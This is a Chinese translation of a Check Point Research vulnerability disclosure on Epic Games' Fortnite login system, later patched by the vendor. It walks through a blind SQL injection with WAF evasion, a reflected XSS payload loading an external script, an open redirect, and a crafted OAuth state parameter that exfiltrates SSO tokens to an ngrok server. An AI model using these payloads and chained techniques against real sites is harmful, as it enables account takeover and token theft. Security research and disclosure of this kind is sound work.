一、前言
Fortnite(堡壘之夜)是Epic Games游戲開發商制作的一款大型流行游戲,在虛擬世界中,Fortnite玩家的任務就是通過各種工具和武器保證自己安全,力爭成為最后一個存活的單位。
在過去幾周時間內,Check Point Research發現了Epic Game在線平臺上的多個漏洞,攻擊者可以借助這些漏洞控制任何玩家的賬戶,瀏覽玩家個人賬戶信息、購買V-Bucks和Fortnite游戲內虛擬貨幣、竊聽并記錄玩家在游戲內的聊天信息及隱私對話。
Fortnite由美國視頻游戲開發商Epic Games制作,該開發商估值約為50億至80億美元,而這款游戲將近占了其中半壁江山。這款游戲在經濟方面炙手可熱,因此也吸引了網絡犯罪分子的注意力。
之前攻擊者會誘騙玩家登錄偽造的網站,這些網站號稱可以生成Fortnite游戲中的“V-Bucks”貨幣(這些商品通常只能通過官方的Fortnite商店購買,或者在游戲中賺取)。這些釣魚網站會誘導玩家輸入游戲登錄憑據、姓名、地址和信用卡等個人信息,也會通過社交媒體進行傳播,宣傳玩家可以“輕松賺錢”以及“快速發家”。
然而,我們的研究團隊采用了更為復雜也更為“陰險”的方法,不需要用戶提供任何登錄憑據。我們發現了Epic Games某些子域名的漏洞,在這些漏洞的幫助下,用戶只需點擊攻擊者發送的鏈接就可以發起XSS攻擊。用戶點擊鏈接后,無需輸入任何登錄憑據,攻擊者就可以立刻獲取玩家的用戶名及密碼。
Check Point Research向Epic Games通報了該漏洞,廠商也部署了修復補丁,保證數百萬玩家能在安全環境中繼續游戲。
大家可以訪問此處觀看攻擊演示視頻。
二、技術細節
Epic Games存在一些老的域名,比如“http://ut2004stats.epicgames.com”,我們的發現都源自于此。
在“http://ut2004stats.epicgames.com”子域名上,我們發現了一個有趣的GET請求,其中涉及到一個路徑:/serverstats.php?server=[some server code]
。
看到這里我們提出了一個問題:如果“在請求中添加其他標志”,會出現什么情況?
結果服務器返回了“Server database error”(服務器數據庫錯誤)信息!
這一點非常好,我們發現這很有可能存在SQL注入漏洞(此時我們認為這是一個MYSQL數據庫)。
進一步研究后,我們發現目標中部署了一款WAF產品,使用的是黑名單機制(并沒有使用白名單機制),我們首先得解決這個問題。在這個系統限制下,我們無法查詢某些系統表(如information_schema
表)。
然而我們可以使用系統變量(@@
),似乎有些人忘記處理這些因素,并且我們可以借此完成許多任務。
Google一番后,我們發現37514065
是一個有效的服務端代碼。基于這一點,我們執行了如下查詢語句,觀察服務端返回的響應數據:
if((SUBSTR(query,from,length)=CHAR([char_number])),true,false)
如果響應數據大小為4014
字節,則代表查詢結果中不存在該字符。如果響應數據大小為12609
字節,則代表查詢結果中存在該字符。
比如,if((SUBSTR(@@version,1,1)=CHAR(52)),37514065,0)
會返回4014
字節:
請求數據如下:
圖1. 初始SQL注入查詢語句
響應數據如下:
圖2. 上圖SQL查詢返回4014字節數據
更進一步,if((SUBSTR(@@version,1,1)=CHAR(53)),37514065,0)
查詢語句返回12609
字節,因此我們得知目標使用的是MySQL 5。
圖3. 第二次SQL注入查詢
圖4. SQL查詢語句返回12609字節響應數據
通過這種方法,我們可以獲取一些數據,進行下一步研究。
繼續研究后,我們發現“http://ut2004stats.epicgames.com”子域名中包含名為“maps”的一個網頁。我們猜測該網頁可以通過地圖名稱/id來展示比賽相關統計數據。
當我們在查找XSS漏洞時(不管是反射型還是存儲型漏洞),我們都應該在目標頁面中找到服務器對輸入數據的輸出,我們的確在該頁面的搜索組件中找到了所需的輸出點。事實上,該頁面的另一個功能是搜索欄,也是我們用于XSS漏洞的注入點。
比如:
這是我們找到的第二個突破口,表明ut2004stats.epicgames.com
上存在XSS漏洞。該域名為epicgames.com
的一個子域名,這一點對我們最后一個攻擊階段來說非常重要。
在接下來幾天內,我們繼續搜索是否存在其他攻擊點。
在這項研究工作一開始,我們團隊中的某個小伙伴對SSO機制非常“來電”。在直覺的指引下,我們仔細研究了SSO,的確發現Epic Games已經實現了一個通用的SSO,用來支持多個登錄提供程序(Provider)。這時候我們可以進一步分析實現細節。
事實證明,當玩家點擊“Sign In”按鈕登錄賬戶時,Epic Games會生成包含redirectedUrl
參數的一個URL(如下所示)。之后accounts.epicgames.com
會使用該參數,將玩家重定向到對應的賬戶頁面。
https://accounts.epicgames.com/login?productName=epic-games&lang=en_US&redirectUrl=https%3A%2F%2Fwww.epicgames.com%2Fsite%2Fen-US%2Fhome&client_id=[cliend_id]&noHostRedirect=true
圖5. 玩家登錄賬戶后的重定向鏈接
然而,我們很快發現重定向URL可以被篡改,將用戶重定向到*.epicgames.com
域名內的任意web頁面。
由于我們可以控制redirectedUrl
參數,因此可以將受害者重定向至包含XSS攻擊載荷的ut2004stats.epicgames.com
網站:
http://ut2004stats.epicgames.com/index.php?stats=maps&SearchName=”><script%20src=%27%2f%2fbit.ly%2f2QlSHBO%27><%2fscript>
網頁上的JavaScript載荷隨后會向任何SSO provider發起請求,請求中包含state
參數,accounts.epicgames.com
隨后會使用該參數來完成認證過程。JavaScript載荷中包含一個精心構造的state
參數。state
參數的值包含經過Base64編碼的JSON,而該JSON數據中包含3個鍵:redirectUrl
、client_id
以及prodectName
。當SSO登錄過程完成后,就會使用redirectedUrl
參數進行重定向。
如果我們嘗試登錄Fortnite,就會發現Epic Games使用了多個SSO Provider:PlayStationNetwork、Xbox Live、Nintendo、Facebook以及Google+。隨后我們發現,我們可以在這些SSO Provider上使用前文描述的技巧。這里我們以Facebook為例來演示。
如下所示,我們嘗試構造state
參數,使XSS載荷能夠將用戶重定向至ut2004stats.epicgames.com
:
https://www.facebook.com/dialog/oauth?client_id=1132078350149238&redirect_uri=https://accounts.epicgames.com/OAuthAuthorized&state=eyJpc1BvcHVwIjoidHJ1ZSIsImlzQ3JlYXRlRmxvdyI6InRydWUiLCJpc1dlYiI6InRydWUiLCJvYXV0aFJlZGlyZWN0VXJsIjoiaHR0cDovL3V0MjAwNHN0YXRzLmVwaWNnYW1lcy5jb20vaW5kZXgucGhwP3N0YXRzPW1hcHMmU2VhcmNoTmFtZT0lMjIlM2UlM2NzY3JpcHQlMjBzcmM9JyUyZiUyZmJpdC5seSUyZjJRbFNIQk8nJTNlJTNjJTJmc2NyaXB0JTNlJTJmIyUyZiJ9&response_type=code&display=popup&scope=email,public_profile,user_friends
圖6. 使用XSS載荷重定向至ut2004stats.epicgames.com
此時SSO Provider為Facebok,會返回跳轉至accounts.epicgames.com
的重定向響應包,其中包含我們可控的state
參數:
圖7. Facebook返回跳轉至accounts.epicgames.com
的響應包,其中包含我們可控的state參數
隨后,Epic Games會從SSO Provider讀取code
(即SSO令牌)和攻擊者構造的state
參數,然后向Epic Games服務器發起請求,以便完成身份認證過程:
圖8. Epic Games向服務器發起請求,其中包含來自SSO的、由攻擊者構造的state
參數
Epic Games服務器沒有驗證輸入信息,直接生成響應數據,將用戶重定向至包含XSS載荷和SSO令牌信息的ut2004stats.epicgames.com
:
圖9. Epic Games服務器響應數據中沒有驗證輸入數據,將用戶重定向至包含XSS載荷和SSO令牌信息的ut2004stats.epicgames.com
最終,用戶會被重定向至包含漏洞的網頁,然后執行XSS載荷,攻擊者就能竊取用戶的身份認證代碼:
圖10. 存在漏洞的網頁上會執行XSS載荷
(對Epic Games而言)這里最大的問題在于,Epic Games服務器并沒有驗證state
參數的輸入數據。
請注意,用戶會被重定向到包含XSS漏洞的ut2004stats.epicgames.com
頁面,因此即便Epic Games采用了CORS(跨域資源共享)機制,ut2004stats.epicgames.com
依然可以向account.epicgames.com
發起請求。
當執行XSS載荷時,WAF會采取措施,通知我們該請求已被禁止。顯然,這里唯一的問題在于腳本源URL的長度,因此我們可以縮短URL長度來繞過限制。
現在我們已經找到XSS點,可以加載JavaScript,并且在ut2004stats.epicgames.com
上下文中執行,因此是時候寫一些JavaScript代碼:
圖11. 用來投遞XSS載荷的JavaScript代碼
上述代碼會打開一個窗口,向SSO Provider服務器(這里為Facebook)發起oAuth請求,請求中包含用戶的所有cookie信息以及我們構造的state
參數。
Facebook隨后會返回響應包,將用戶重定向至account.epicgames.com
,其中包含SSO令牌(code
參數)以及攻擊者先前構造的state
參數。
由于用戶已經登錄Facebook賬戶,因此account.epicgames.com
服務器會重定向至在state
參數中找到的URL地址。在這個例子中,重定向地址為ut2004stats.epicgames.com
,其中包含XSS載荷以及Facebook用戶的oAuth令牌。
最終,請求中的令牌信息會發送至攻擊者的服務器(這里我們使用的是ngrok服務器:0aa62240.ngrok.io)。
圖12. Ngrok服務器收到包含SSO令牌的請求
圖13. Ngrok服務器收到包含SSO令牌的請求
現在攻擊者已經收到用戶的Facebook令牌信息,可以登錄受害者的賬戶。
圖14. 攻擊者成功獲取用戶的Facebook令牌